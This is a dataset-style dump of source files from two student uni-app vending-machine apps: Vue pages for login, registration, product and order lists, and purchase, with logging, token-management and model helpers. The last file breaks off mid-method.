code
stringlengths 1
1.05M
| repo_name
stringlengths 6
83
| path
stringlengths 3
242
| language
stringclasses 222
values | license
stringclasses 20
values | size
int64 1
1.05M
|
|---|---|---|---|---|---|
<template>
<view class="content">
<image class="logo" src="/static/logo.png"></image>
<view class="text-area">
<text class="title">{{title}}</text>
</view>
</view>
</template>
<script>
export default {
data() {
return {
title: 'Hello'
}
},
onLoad() {
},
methods: {
}
}
</script>
<style>
.content {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
}
.logo {
height: 200rpx;
width: 200rpx;
margin-top: 200rpx;
margin-left: auto;
margin-right: auto;
margin-bottom: 50rpx;
}
.text-area {
display: flex;
justify-content: center;
}
.title {
font-size: 36rpx;
color: #8f8f94;
}
</style>
|
2301_82115348/VendingMachine_1023
|
pages/index/index.vue
|
Vue
|
unknown
| 694
|
<template>
<view class="page">
<view class="title">售货机系统</view>
<view class="form">
<!-- 手机号 -->
<view class="input-item">
<input v-model="phone" type="number" placeholder="手机号" class="input" />
</view>
<!-- 密码 -->
<view class="input-item password-item">
<input v-model="password" :type="showPassword ? 'text' : 'password'" placeholder="密码" class="input"
@focus="showPasswordToggle = true" @blur="handlePasswordBlur" />
<text class="password-toggle" v-show="showPasswordToggle" @mousedown="handleToggleMouseDown"
@click="togglePassword">
{{ showPassword ? '👁️' : '🔒' }}
</text>
</view>
<!-- 错误提示 -->
<text class="error" v-if="error">{{ error }}</text>
<!-- 登录按钮 -->
<button class="btn login-btn" :loading="loading" @click="login">
登录
</button>
<!-- 注册跳转 -->
<text class="link" @click="toRegister">
新用户？注册
</text>
</view>
</view>
</template>
<script>
export default {
data() {
return {
phone: '',
password: '',
error: '',
loading: false,
showPassword: false,
showPasswordToggle: false,
blurTimer: null
}
},
methods: {
login() {
// 简单验证
if (!this.phone || !/^1\d{10}$/.test(this.phone)) {
this.error = '请输入正确手机号';
return;
}
if (!this.password || this.password.length < 6) {
this.error = '密码不少于6位';
return;
}
this.loading = true;
// 模拟登录请求
setTimeout(() => {
this.loading = false;
uni.switchTab({
url: '/pages/machine/index'
});
}, 1000);
},
toRegister() {
uni.navigateTo({
url: '/pages/register/register'
});
},
togglePassword() {
this.showPassword = !this.showPassword;
},
handleToggleMouseDown(e) {
e.preventDefault(); // 阻止默认行为，避免触发输入框blur
},
handlePasswordBlur() {
// 延迟隐藏按钮
this.blurTimer = setTimeout(() => {
this.showPasswordToggle = false;
}, 150);
}
},
beforeDestroy() {
// 清除定时器
if (this.blurTimer) {
clearTimeout(this.blurTimer);
}
}
}
</script>
<style scoped>
.page {
background: #fff;
min-height: 100vh;
padding: 120rpx 60rpx 0;
}
.title {
font-size: 44rpx;
font-weight: bold;
color: #1677ff;
text-align: center;
margin-bottom: 100rpx;
}
.form {
width: 100%;
}
.input-item {
border-bottom: 1px solid #e5e7eb;
margin-bottom: 40rpx;
position: relative;
}
.password-item {
display: flex;
align-items: center;
}
.input {
width: 100%;
height: 80rpx;
font-size: 30rpx;
color: #333;
padding-right: 80rpx;
}
.password-toggle {
position: absolute;
right: 0;
color: #1677ff;
font-size: 36rpx;
padding: 20rpx;
cursor: pointer;
user-select: none;
}
.error {
display: block;
color: #ff4d4f;
font-size: 26rpx;
margin: -20rpx 0 40rpx;
height: 30rpx;
}
.btn {
width: 100%;
height: 90rpx;
line-height: 90rpx;
font-size: 32rpx;
border-radius: 10rpx;
margin-bottom: 30rpx;
}
.login-btn {
background: #1677ff;
color: #fff;
}
.link {
display: block;
text-align: center;
color: #1677ff;
font-size: 28rpx;
margin-top: 20rpx;
}
</style>
|
2301_82115348/VendingMachine_1023
|
pages/login/login.vue
|
Vue
|
unknown
| 3,323
|
<template>
<view class="container">
<!-- loading 状态 -->
<view v-if="loading" class="loading-container">
<image src="../../static/loading.gif" class="loading-icon"></image>
<text class="loading-text">加载中...</text>
</view>
<view v-else-if="loaded" v-for="(item,index) in items" :key="item.id" class="product-item-container">
<image :src="item.imageUrl" @error="item.imageUrl = default_path" class="product-item-image"></image>
<view class="product-item-info-container">
<text class="product-item-name"> {{ item.name}} </text>
<text class="product-item-price"> {{item.price}}元 </text>
<button size="mini" @click="onProductItemClicked(index)">购买</button>
</view>
</view>
<view v-else class="error-container">
<image src="/static/error3.png" mode="aspectFit" class="error-icon">
</image>
<text class="error-text">加载商品列表失败</text>
<button class="error-button" @click="fetchProductList()">重试</button>
</view>
</view>
</template>
<script>
import Product from '../../models/product.js';
import constant from '../../models/constant.js';
let tag = "product-list";
const base_url = ""
export default {
onLoad() {
this.fetchProductList()
},
data() {
return {
login: true,
loading: true, // 初始设为加载中状态
loaded: false, // 初始设为未加载完成
default_path: "/static/error1.png",
baseUrl: "https://vending.neumooc.com/prod-api/",
items: []
// items : [
// {
// id : 1,
// name : "可乐",
// price : 3,
// imageUrl : "/static/可乐.png"
// },
// {
// id : 2,
// name : "牛奶",
// price : 5,
// imageUrl : "/static/牛奶.png"
// },
// {
// id : 3,
// name : "雪碧",
// price : 5,
// imageUrl : "https://pic.rmb.bdstatic.com/bjh/events/4531b384e18630fb4a7615d974a7a6e62814.jpeg"
// }
// ]
}
},
methods: {
onProductItemClicked(index) {
this.$log.info(tag, `onProductItemClicked ${index}`);
// 如果已登录，跳转“购买商品页”
if (this.login) {
this.$log.info(tag, "onProductItemClicked navigate to purchase")
let productJsonString = JSON.stringify(this.items[index])
uni.navigateTo({
url: `/pages/purchase/purchase?product=${encodeURIComponent(productJsonString)}`
})
} else { //如果未登录，跳转“登录页”
this.$log.info(tag, "onProductItemClicked navigate to login")
uni.navigateTo({
url: '/pages/login/login'
})
}
},
parseProduct(jsonData) {
let productList = [];
jsonData.data.forEach((category) => {
console.info(category.categoryName);
category.productList.forEach((product) => {
// console.info(product.name,product.price)
});
})
return productList;
},
fetchProductList() {
this.loading = true;
this.loaded = false;
this.$log.info(tag, "fetchProductList");
uni.request({
url: `${constant.BASE_URL}/api/machine/products`,
method: 'GET',
data: {
machineNo: constant.MACHINE_NO,
},
header: {
'content-type': 'application/json'
},
success: (res) => {
if (res.data.code == 200) {
this.$log.info(tag, "获取商品列表成功", res.data);
this.loading = false;
this.loaded = true;
// 使用parseProductList解析数据并生成Product实例
// this.items = res.data.data[0].productList;
this.items = this.parseProductList(res.data);
} else {
this.$log.error(tag, "获取商品列表失败");
this.loading = false;
this.loaded = false;
}
},
fail: (error) => {
this.$log.error(tag, "获取商品列表失败", error);
this.loading = false;
this.loaded = false;
}
});
},
parseProductList(jsonObject) {
let productList = [];
jsonObject.data.forEach((category) => {
this.$log.info(tag, category.categoryName);
category.productList.forEach((product) => {
let p = new Product(
product.id,
product.name,
product.price,
`${constant.BASE_URL}${product.cover}`,
product.stock
);
productList.push(p);
this.$log.info(p.imageUrl);
});
})
return productList;
}
}
}
</script>
<style>
.container {
display: flex;
flex-direction: column;
}
.product-item-container {
display: flex;
flex-direction: row;
margin-bottom: 30rpx;
}
.product-item-info-container {
display: flex;
flex-direction: column;
margin-left: 20rpx;
}
.product-item-name {
font-size: 38rpx;
font-weight: bold;
}
.product-item-stock {
font-size: 30rpx;
color: grey;
}
.product-item-price {
font-size: 38rpx;
font-weight: bold;
color: coral
}
.product-item-image {
width: 200rpx;
height: 200rpx;
}
.product-item-hover-effect {
opacity: 0.5;
}
.loading-container {
height: 100vh;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
}
.loading-text {
font-size: 40rpx;
color: grey;
}
.loading-icon {
width: 80px;
height: 80px;
}
.error-container {
height: 100vh;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
}
.error-icon {
width: 80px;
height: 80px;
}
.error-text {
color: grey;
font-size: 30rpx;
margin-top: 5px;
}
.retry-button {
font-size: 35rpx;
margin-top: 15px;
color: steelblue;
}
.order-list-container {
position: fixed;
bottom: 50px;
right: 20px;
width: 40px;
height: 40px;
background-color: #08f;
border-radius: 50%;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
}
.order-list-container-hover {
opacity: 0.5;
}
.order-list-icon-text {
color: white;
font-size: 70rpx;
font-weight: bold;
padding-bottom: 2px;
}
</style>
|
2301_82115348/VendingMachine_1023
|
pages/product-list/product-list.vue
|
Vue
|
unknown
| 5,947
|
<template>
<view>
<text>{{testData.name}}</text>
</view>
</template>
<script>
let tag = 'purchase'
export default {
data() {
return {
testData: "测试信息"
}
},
methods: {
},
onLoad(parameters) {
this.$log.info(tag, `onLoad`)
let productJSONString = decodeURIComponent(parameters.product)
let product = JSON.parse(productJSONString)
this.testData = product
},
onShow() {
this.$log.info(tag, `onShow`);
},
onReady() {
this.$log.info(tag, `onReady`);
},
onHide() {
this.$log.info(tag, `onHide`);
},
onUnload() {
this.$log.info(tag, `onUnload`);
},
}
</script>
<style>
</style>
|
2301_82115348/VendingMachine_1023
|
pages/purchase/purchase.vue
|
Vue
|
unknown
| 673
|
<template>
<view class="page">
<view class="title">新用户注册</view>
<view class="form">
<!-- 手机号 -->
<view class="input-item">
<input v-model="phone" type="number" placeholder="手机号" class="input" />
</view>
<!-- 密码 -->
<view class="input-item password-item">
<input v-model="password" :type="showPassword ? 'text' : 'password'" placeholder="设置密码" class="input"
@focus="showPasswordToggle = true" @blur="handlePasswordBlur" />
<text class="password-toggle" v-show="showPasswordToggle" @mousedown="handleToggleMouseDown"
@click="togglePassword">
{{ showPassword ? '👁️' : '🔒' }}
</text>
</view>
<!-- 确认密码 -->
<view class="input-item password-item">
<input v-model="confirmPwd" :type="showConfirmPassword ? 'text' : 'password'" placeholder="确认密码"
class="input" @focus="showConfirmPasswordToggle = true" @blur="handleConfirmPasswordBlur" />
<text class="password-toggle" v-show="showConfirmPasswordToggle" @mousedown="handleToggleMouseDown"
@click="toggleConfirmPassword">
{{ showConfirmPassword ? '👁️' : '🔒' }}
</text>
</view>
<!-- 错误提示 -->
<text class="error" v-if="error">{{ error }}</text>
<!-- 注册按钮 -->
<button class="btn register-btn" :loading="loading" @click="register">
注册
</button>
<!-- 登录跳转 -->
<text class="link" @click="toLogin">
已有账户？登录
</text>
</view>
</view>
</template>
<script>
export default {
data() {
return {
phone: '',
password: '',
confirmPwd: '',
error: '',
loading: false,
showPassword: false,
showConfirmPassword: false,
showPasswordToggle: false,
showConfirmPasswordToggle: false,
passwordBlurTimer: null,
confirmPasswordBlurTimer: null
}
},
methods: {
register() {
// 简单验证
if (!this.phone || !/^1\d{10}$/.test(this.phone)) {
this.error = '请输入正确手机号';
return;
}
if (!this.password || this.password.length < 6) {
this.error = '密码不少于6位';
return;
}
if (this.password !== this.confirmPwd) {
this.error = '两次密码不一致';
return;
}
this.loading = true;
// 模拟注册请求
setTimeout(() => {
this.loading = false;
uni.navigateBack();
}, 1000);
},
toLogin() {
uni.navigateBack();
},
togglePassword() {
this.showPassword = !this.showPassword;
},
toggleConfirmPassword() {
this.showConfirmPassword = !this.showConfirmPassword;
},
handleToggleMouseDown(e) {
e.preventDefault(); // 阻止默认行为，避免触发输入框blur
},
handlePasswordBlur() {
// 延迟隐藏按钮
this.passwordBlurTimer = setTimeout(() => {
this.showPasswordToggle = false;
}, 150);
},
handleConfirmPasswordBlur() {
// 延迟隐藏按钮
this.confirmPasswordBlurTimer = setTimeout(() => {
this.showConfirmPasswordToggle = false;
}, 150);
}
},
beforeDestroy() {
// 清除定时器
if (this.passwordBlurTimer) {
clearTimeout(this.passwordBlurTimer);
}
if (this.confirmPasswordBlurTimer) {
clearTimeout(this.confirmPasswordBlurTimer);
}
}
}
</script>
<style scoped>
.page {
background: #fff;
min-height: 100vh;
padding: 120rpx 60rpx 0;
}
.title {
font-size: 44rpx;
font-weight: bold;
color: #1677ff;
text-align: center;
margin-bottom: 100rpx;
}
.form {
width: 100%;
}
.input-item {
border-bottom: 1px solid #e5e7eb;
margin-bottom: 40rpx;
position: relative;
}
.password-item {
display: flex;
align-items: center;
}
.input {
width: 100%;
height: 80rpx;
font-size: 30rpx;
color: #333;
padding-right: 80rpx;
}
.password-toggle {
position: absolute;
right: 0;
color: #1677ff;
font-size: 36rpx;
padding: 20rpx;
cursor: pointer;
user-select: none;
}
.error {
display: block;
color: #ff4d4f;
font-size: 26rpx;
margin: -20rpx 0 40rpx;
height: 30rpx;
}
.btn {
width: 100%;
height: 90rpx;
line-height: 90rpx;
font-size: 32rpx;
border-radius: 10rpx;
margin-bottom: 30rpx;
}
.register-btn {
background: #1677ff;
color: #fff;
}
.link {
display: block;
text-align: center;
color: #1677ff;
font-size: 28rpx;
margin-top: 20rpx;
}
</style>
|
2301_82115348/VendingMachine_1023
|
pages/register/register.vue
|
Vue
|
unknown
| 4,378
|
uni.addInterceptor({
returnValue (res) {
if (!(!!res && (typeof res === "object" || typeof res === "function") && typeof res.then === "function")) {
return res;
}
return new Promise((resolve, reject) => {
res.then((res) => {
if (!res) return resolve(res)
return res[0] ? reject(res[0]) : resolve(res[1])
});
});
},
});
|
2301_82115348/VendingMachine_1023
|
uni.promisify.adaptor.js
|
JavaScript
|
unknown
| 373
|
/**
* 这里是uni-app内置的常用样式变量
*
* uni-app 官方扩展插件及插件市场（https://ext.dcloud.net.cn）上很多三方插件均使用了这些样式变量
* 如果你是插件开发者，建议你使用scss预处理，并在插件代码中直接使用这些变量（无需 import 这个文件），方便用户通过搭积木的方式开发整体风格一致的App
*
*/
/**
* 如果你是App开发者（插件使用者），你可以通过修改这些变量来定制自己的插件主题，实现自定义主题功能
*
* 如果你的项目同样使用了scss预处理，你也可以直接在你的 scss 代码中使用如下变量，同时无需 import 这个文件
*/
/* 颜色变量 */
/* 行为相关颜色 */
$uni-color-primary: #007aff;
$uni-color-success: #4cd964;
$uni-color-warning: #f0ad4e;
$uni-color-error: #dd524d;
/* 文字基本颜色 */
$uni-text-color:#333;//基本色
$uni-text-color-inverse:#fff;//反色
$uni-text-color-grey:#999;//辅助灰色，如加载更多的提示信息
$uni-text-color-placeholder: #808080;
$uni-text-color-disable:#c0c0c0;
/* 背景颜色 */
$uni-bg-color:#ffffff;
$uni-bg-color-grey:#f8f8f8;
$uni-bg-color-hover:#f1f1f1;//点击状态颜色
$uni-bg-color-mask:rgba(0, 0, 0, 0.4);//遮罩颜色
/* 边框颜色 */
$uni-border-color:#c8c7cc;
/* 尺寸变量 */
/* 文字尺寸 */
$uni-font-size-sm:12px;
$uni-font-size-base:14px;
$uni-font-size-lg:16px;
/* 图片尺寸 */
$uni-img-size-sm:20px;
$uni-img-size-base:26px;
$uni-img-size-lg:40px;
/* Border Radius */
$uni-border-radius-sm: 2px;
$uni-border-radius-base: 3px;
$uni-border-radius-lg: 6px;
$uni-border-radius-circle: 50%;
/* 水平间距 */
$uni-spacing-row-sm: 5px;
$uni-spacing-row-base: 10px;
$uni-spacing-row-lg: 15px;
/* 垂直间距 */
$uni-spacing-col-sm: 4px;
$uni-spacing-col-base: 8px;
$uni-spacing-col-lg: 12px;
/* 透明度 */
$uni-opacity-disabled: 0.3; // 组件禁用态的透明度
/* 文章场景相关 */
$uni-color-title: #2C405A; // 文章标题颜色
$uni-font-size-title:20px;
$uni-color-subtitle: #555555; // 二级标题颜色
$uni-font-size-subtitle:26px;
$uni-color-paragraph: #3F536E; // 文章段落颜色
$uni-font-size-paragraph:15px;
|
2301_82115348/VendingMachine_1023
|
uni.scss
|
SCSS
|
unknown
| 2,217
|
<script>
export default {
onLaunch: function() {
console.log('App Launch')
},
onShow: function() {
console.log('App Show')
},
onHide: function() {
console.log('App Hide')
}
}
</script>
<style>
/*每个页面公共css */
</style>
|
2301_82115348/VendingMachine_1104
|
App.vue
|
Vue
|
unknown
| 254
|
function formatMsg(tag, msg){
const time = new Date().toLocaleTimeString();
return `${tag}${time}${msg}`;
}
export default{
info(tag, msg){
console.log(`[INFO] ${formatMsg(tag,msg)}`);
},
error(tag,msg){
console.error(`[ERROR] ${formatMsg(tag,msg)}`);
}
}
|
2301_82115348/VendingMachine_1104
|
components/log/log.js
|
JavaScript
|
unknown
| 268
|
import log from "../log/log";
let tag = "login-manager";
var token = "";
export default {
setToken: function(newToken) {
log.info(tag, `setToken:${newToken}`)
token = newToken
},
isLoggedIn: function() {
let isLoggedIn = (token && token.length > 0);
log.info(tag, `isLoggedIn:${isLoggedIn}`);
return isLoggedIn;
},
getToken: function() {
return token;
}
}
|
2301_82115348/VendingMachine_1104
|
components/login-manager/login-manager.js
|
JavaScript
|
unknown
| 375
|
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<script>
var coverSupport = 'CSS' in window && typeof CSS.supports === 'function' && (CSS.supports('top: env(a)') ||
CSS.supports('top: constant(a)'))
document.write(
'<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0' +
(coverSupport ? ', viewport-fit=cover' : '') + '" />')
</script>
<title></title>
<!--preload-links-->
<!--app-context-->
</head>
<body>
<div id="app"><!--app-html--></div>
<script type="module" src="/main.js"></script>
</body>
</html>
|
2301_82115348/VendingMachine_1104
|
index.html
|
HTML
|
unknown
| 675
|
import App from './App'
// #ifndef VUE3
import Vue from 'vue'
import './uni.promisify.adaptor'
Vue.config.productionTip = false
App.mpType = 'app'
const app = new Vue({
...App
})
app.$mount()
// #endif
// #ifdef VUE3
import { createSSRApp } from 'vue'
import log from "./components/log/log.js"
import constant from './models/constant'
import loginManager from './components/login-manager/login-manager'
export function createApp() {
const app = createSSRApp(App)
app.config.globalProperties.$log = log
app.config.globalProperties.constant = constant
app.config.globalProperties.loginManager = loginManager
return {
app
}
}
// #endif
|
2301_82115348/VendingMachine_1104
|
main.js
|
JavaScript
|
unknown
| 653
|
export default {
BASE_URL: "https://vending.neumooc.com/prod-api",
MACHINE_NO: "c1d6b822ce5f436f818a391be6faf386",
}
|
2301_82115348/VendingMachine_1104
|
models/constant.js
|
JavaScript
|
unknown
| 118
|
export default class Order {
constructor(orderNo, createTime, productName, productCover, orderStatus, payAmount) {
this.orderNo = orderNo;
this.createTime = createTime;
this.productName = productName;
this.productCover = productCover;
this.orderStatus = orderStatus;
this.payAmount = payAmount;
}
static parseFromJsonString(jsonString) {
const jsonObject = JSON.parse(jsonString);
return new Order(
jsonObject.orderNo,
jsonObject.createTime,
jsonObject.productName,
jsonObject.productCover,
jsonObject.orderStatus,
jsonObject.payAmount
);
}
}
|
2301_82115348/VendingMachine_1104
|
models/order.js
|
JavaScript
|
unknown
| 583
|
export default class Product {
constructor(id, name, price, imageUrl, stock) {
this.id = id;
this.name = name;
this.price = price;
this.imageUrl = imageUrl;
this.stock = stock;
}
static parseFromJsonString(jsonString) {
let jsonObject = JSON.parse(jsonString);
return new Product(
jsonObject.id,
jsonObject.name,
jsonObject.price,
jsonObject.imageUrl,
jsonObject.stock
);
}
}
|
2301_82115348/VendingMachine_1104
|
models/product.js
|
JavaScript
|
unknown
| 436
|
<template>
<view class="content">
<image class="logo" src="/static/logo.png"></image>
<view class="text-area">
<text class="title">{{title}}</text>
</view>
</view>
</template>
<script>
export default {
data() {
return {
title: 'Hello'
}
},
onLoad() {
},
methods: {
}
}
</script>
<style>
.content {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
}
.logo {
height: 200rpx;
width: 200rpx;
margin-top: 200rpx;
margin-left: auto;
margin-right: auto;
margin-bottom: 50rpx;
}
.text-area {
display: flex;
justify-content: center;
}
.title {
font-size: 36rpx;
color: #8f8f94;
}
</style>
|
2301_82115348/VendingMachine_1104
|
pages/index/index.vue
|
Vue
|
unknown
| 694
|
<template>
<view class="container">
<input v-model="userName" class="input" placeholder="请输入用户名"></input>
<input v-model="password" class="input" password="True" placeholder="请输入密码"></input>
<button class="button" @click="onLoginButtonClicked()">登录</button>
<button class="button" @click="onRegisterButtonClicked()">注册</button>
</view>
</template>
<script>
let tag = "login";
export default {
data() {
return {
// 用户名
userName: "",
// 密码
password: "",
}
},
methods: {
onRegisterButtonClicked() {
this.$log.info(tag, "onRegisterButtonClicked");
uni.navigateTo({
url: '/pages/register/register'
})
},
onLoginButtonClicked() {
this.$log.info(tag, "onLoginButtonClicked");
if (this.userName != "" && this.password != "") {
this.$log.info(tag, "not null check pass")
} else {
this.$log.error(tag, "用户名和密码不可以为空")
return
}
uni.request({
url: `${this.constant.BASE_URL}/api/customer/login`,
method: 'POST',
data: {
"password": this.password,
"username": this.userName
},
success: (res) => {
this.$log.info(tag, "success");
this.$log.info(tag, JSON.stringify(res.data));
if (res.data.code == 200) {
this.loginManager.setToken(res.data.token)
uni.showToast({
icon: 'success',
title: "登录成功"
})
uni.navigateTo({
url: "/pages/product-list/product-list"
})
} else {
uni.showToast({
icon: 'faile',
title: '${res.data.msg}'
})
}
},
fail: (err) => {
this.$log.error(tag, err.errMsg);
uni.showToast({
icon: 'faile',
title: '${error.data.msg}'
})
}
})
},
}
}
</script>
<style>
.container {
padding: 20px 20px;
height: 50vh;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
}
.input {
width: 100%;
border-style: solid;
border-color: grey;
border-radius: 20px;
border-width: 1px;
padding: 5px 10px;
font-size: 35rpx;
margin-bottom: 10px;
}
.button {
width: 100%;
background-color: #08f;
font-size: 35rpx;
color: white;
font-weight: bold;
border-radius: 20px;
margin-bottom: 10px;
}
</style>
|
2301_82115348/VendingMachine_1104
|
pages/login/login.vue
|
Vue
|
unknown
| 2,343
|
<template>
<view class="container">
<view class="product-row">
<image :src="productCover" mode="aspectFit" class="product-img"></image>
<view class="product-info">
<text class="product-name">1件{{productName}}</text>
</view>
</view>
<view class="order-item">
<text class="label">订单编号</text>
<text class="value">{{orderNo}}</text>
</view>
<view class="order-item">
<text class="label">订单总价</text>
<text class="price">{{productPrice}}元</text>
</view>
<view class="order-item">
<text class="label">下单时间</text>
<text class="value">{{createTime}}</text>
</view>
<view class="order-item">
<text class="label">支付时间</text>
<text class="value">{{payTime}}</text>
</view>
<!-- 已出货 -->
<view v-if="outStatus" class="status-container">
<text class="completed-text">已完成</text>
</view>
<view v-else-if="payStatus" class="status-container">
<text class="pay-code">出货码: {{payCode}}</text>
<button class="delivery-button" @click="onDeliveryButtonClicked()">取货</button>
</view>
<view v-else class="status-container">
<button class="pay-button">支付</button>
</view>
</view>
</template>
<script>
let tag = "order"
export default {
onLoad(para) {
this.$log.info(tag, "onLoad")
this.$log.info(tag, JSON.stringify(para))
this.orderNo = para.orderNo
this.fetchOrderDetail(this.orderNo)
},
data() {
return {
orderNo: "",
productName: "",
productCover: "",
productPrice: "",
createTime: "",
payTime: "",
orderStatus: "",
payStatus: "",
payCode: "",
outStatus: false,
}
},
methods: {
onDeliveryButtonClicked() {
this.$log.info(tag, "onDeliveryButtonClicked")
this.deliverOrder(this.orderNo)
},
deliverOrder(orderNo) {
this.$log.info(tag, "deliverOrder")
uni.request({
url: `${this.constant.BASE_URL}/api/order/remotePick`,
method: 'GET',
header: {
'Authorization': this.loginManager.getToken(),
},
data: {
"orderNo": orderNo
},
success: (res) => {
this.$log.info(tag, "success")
this.$log.info(tag, JSON.stringify(res.data))
},
fail: (err) => {
this.$log.error(tag, err.errMsg)
}
})
},
isOut() {
return this.orderStatus == "已出货"
},
isPaid() {
return this.payStatus == "已支付"
},
fetchOrderDetail(orderNo) {
this.$log.info(tag, `fetchOrderDetail orderNo: ${orderNo}`)
uni.request({
url: `${this.constant.BASE_URL}/api/order/${orderNo}`,
method: 'POST',
header: {
'Authorization': this.loginManager.getToken(),
},
success: (res) => {
this.$log.info(tag, "success")
this.$log.info(tag, JSON.stringify(res.data))
if (res.data.code == 200) {
let order = res.data.data
this.productCover = `${this.constant.BASE_URL}${order.productCover}`
this.productName = order.productName
this.productPrice = order.productPrice
this.createTime = order.createTime
this.orderNo = order.orderNo
this.payTime = order.payTime
this.orderStatus = order.orderStatus
this.payStatus = order.payStatus
this.payCode = order.payCode
if (order.payStatus == "已支付") {
this.payStatus = true
}
if (order.orderStatus == "已出货") {
this.outStatus = true
}
}
},
fail: (err) => {
this.$log.error(tag, err.errMsg)
}
})
}
}
}
</script>
<style>
.container {
padding: 30rpx;
background-color: #fff;
min-height: 100vh;
}
.product-row {
display: flex;
align-items: center;
margin-bottom: 30rpx;
}
.product-img {
width: 180rpx;
height: 360rpx;
margin-right: 30rpx;
}
.product-info {
flex: 1;
display: flex;
justify-content: flex-end;
align-items: center;
height: 100%;
}
.product-name {
font-size: 34rpx;
color: #999;
text-align: right;
}
.order-item {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 20rpx;
}
.label {
font-size: 32rpx;
color: #333;
font-weight: bold;
}
.value {
font-size: 32rpx;
color: #999;
}
.price {
font-size: 32rpx;
color: #0091ff;
font-weight: bold;
}
/* 新加的状态部分样式 */
.status-container {
margin-top: 60rpx;
padding: 40rpx;
background-color: #f8f9fa;
border-radius: 16rpx;
text-align: center;
}
.completed-text {
font-size: 36rpx;
color: #0091ff;
font-weight: bold;
}
.pay-code {
font-size: 32rpx;
color: #0091ff;
font-weight: bold;
margin-bottom: 30rpx;
display: block;
}
.pay-button {
width: 200rpx;
height: 80rpx;
background: linear-gradient(135deg, #0091ff 0%, #0066cc 100%);
color: white;
border-radius: 40rpx;
font-size: 32rpx;
font-weight: bold;
}
.delivery-button {
width: 200rpx;
height: 80rpx;
background: linear-gradient(135deg, #0091ff 0%, #0066cc 100%);
color: white;
border-radius: 40rpx;
font-size: 32rpx;
font-weight: bold;
}
</style>
|
2301_82115348/VendingMachine_1104
|
pages/order/order.vue
|
Vue
|
unknown
| 5,088
|
<template>
<view v-for="(order, index) in orders" class="order-container" hover-class="order-container-hover"
@click="onOrderItemClicked(order.orderNo)">
<view class="row-container">
<text class="order-text">{{order.createTime}}</text>
<text class="order-text">{{order.orderStatus}}</text>
</view>
<view class="row-container">
<!--商品图片-->
<image :src="order.productCover" mode="aspectFit" class="product-cover"></image>
<!--商品信息-->
<view class="row-container">
<text class="order-text">一件{{order.productName}}</text>
<text class="pay-amount">{{order.payAmount}}元</text>
</view>
</view>
<view class="divider"></view>
</view>
</template>
<script>
import Order from '../../models/order'
let tag = "order-list"
export default {
onLoad() {
this.$log.info(tag, "onLoad")
this.fetchOrderList()
},
data() {
return {
orders: []
}
},
methods: {
onOrderItemClicked(orderNo) {
this.$log.info(tag, `onOrderItemClicked ${orderNo}`)
uni.navigateTo({
url: `/pages/order/order?orderNo=${orderNo}`
})
},
parseFromJsonArray(jsonArray) {
this.$log.info(tag, ` ${jsonArray.length}`);
let orders = [];
for (var i = jsonArray.length - 1; i >= 0; i--) {
let jsonObject = jsonArray[i];
orders.push(new Order(
jsonObject.orderNo,
jsonObject.createTime,
jsonObject.productName,
`${this.constant.BASE_URL}${jsonObject.productCover}`,
jsonObject.orderStatus,
jsonObject.payAmount
));
}
return orders;
},
fetchOrderList() {
this.$log.info(tag, "fetchOrderList")
uni.request({
url: `${this.constant.BASE_URL}/api/order/list`,
method: 'GET',
header: {
'Authorization': this.loginManager.getToken()
},
success: (res) => {
//this.$log.info(tag, JSON.stringify(res.data))
console.log(res.data)
if (res.data.code == 200) {
this.orders = this.parseFromJsonArray(res.data.rows);
this.$log.info(tag, `Success parsed orders ${this.orders.length}`)
}
},
fail: (err) => {
this.$log.error(err.errMsg)
}
})
}
}
}
</script>
<style>
.order-container {
display: flex;
flex-direction: column;
align-items: center;
}
.row-container {
width: 90%;
margin-top: 5px;
display: flex;
flex-direction: row;
justify-content: space-between;
}
.product-cover {
width: 70px;
height: 70px;
}
.product-info-container {
display: flex;
flex-direction: column;
justify-content: space-evenly;
align-items: flex-end;
}
.order-text {
color: dimgrey;
font-size: 36rpx;
}
.pay-amount {
color: black;
font-weight: bold;
font-style: 36rpx;
}
.divider {
width: 100%;
height: 1px;
background-color: lightgray;
margin-top: 5px;
margin-bottom: 5px;
}
.order-container-hover {
opacity: 0.5;
}
</style>
|
2301_82115348/VendingMachine_1104
|
pages/order-list/order-list.vue
|
Vue
|
unknown
| 2,905
|
<template>
<view class="container">
<!-- loading 状态 -->
<view v-if="loading" class="loading-container">
<image src="../../static/loading.gif" class="loading-icon"></image>
<text class="loading-text">加载中...</text>
</view>
<view v-else-if="loaded" v-for="(item,index) in items" :key="item.id" class="product-item-container">
<image :src="item.imageUrl" @error="item.cover = default_path" class="product-item-image"></image>
<view class="product-item-info-container">
<!-- <text>{{ this.baseUrl + item.cover }}</text> -->
<text class="product-item-name"> {{ item.name}} </text>
<text class="product-item-price"> {{item.price}}元 </text>
<text class="product-item-stock"> 剩余{{item.stock}}件 </text>
</view>
<button type="primary" size="mini" @click="onProductItemClicked(index)" class="button">购买</button>
</view>
<view v-else class="error-container">
<image src="/static/error3.png" mode="aspectFit" class="error-icon">
</image>
<text class="error-text">加载商品列表失败</text>
<button class="error-button" @click="fetchProductList()">重试</button>
</view>
</view>
<!-- 悬浮列表 -->
<view class="order-list-container" hover-class="order-list-container-hover" @click="onOrderListButtonClicked()">
<text class="order-list-icon-text">≡</text>
</view>
</template>
<script>
import Product from '../../models/product';
let tag = "product-list";
export default {
onLoad() {
this.fetchProductList()
},
data() {
return {
// login : false,
loading: false,
loaded: true,
default_path: "/static/error1.png",
baseUrl: 'https://vending.neumooc.com/prod-api',
items: []
// items : [
// {
// id : 1,
// name : "可乐",
// price : 3,
// imageUrl : "/static/可乐.png"
// },
// {
// id : 2,
// name : "牛奶",
// price : 5,
// imageUrl : "/static/牛奶.png"
// },
// {
// id : 3,
// name : "雪碧",
// price : 5,
// imageUrl : "https://pic.rmb.bdstatic.com/bjh/events/4531b384e18630fb4a7615d974a7a6e62814.jpeg"
// }
// ]
}
},
methods: {
onOrderListButtonClicked() {
this.$log.info(tag, "onOrderListButtonClicked")
if (this.loginManager.isLoggedIn()) {
this.$log.info(tag, "onOrderListButtonClicked navigate to orderList")
uni.navigateTo({
url: '/pages/order-list/order-list'
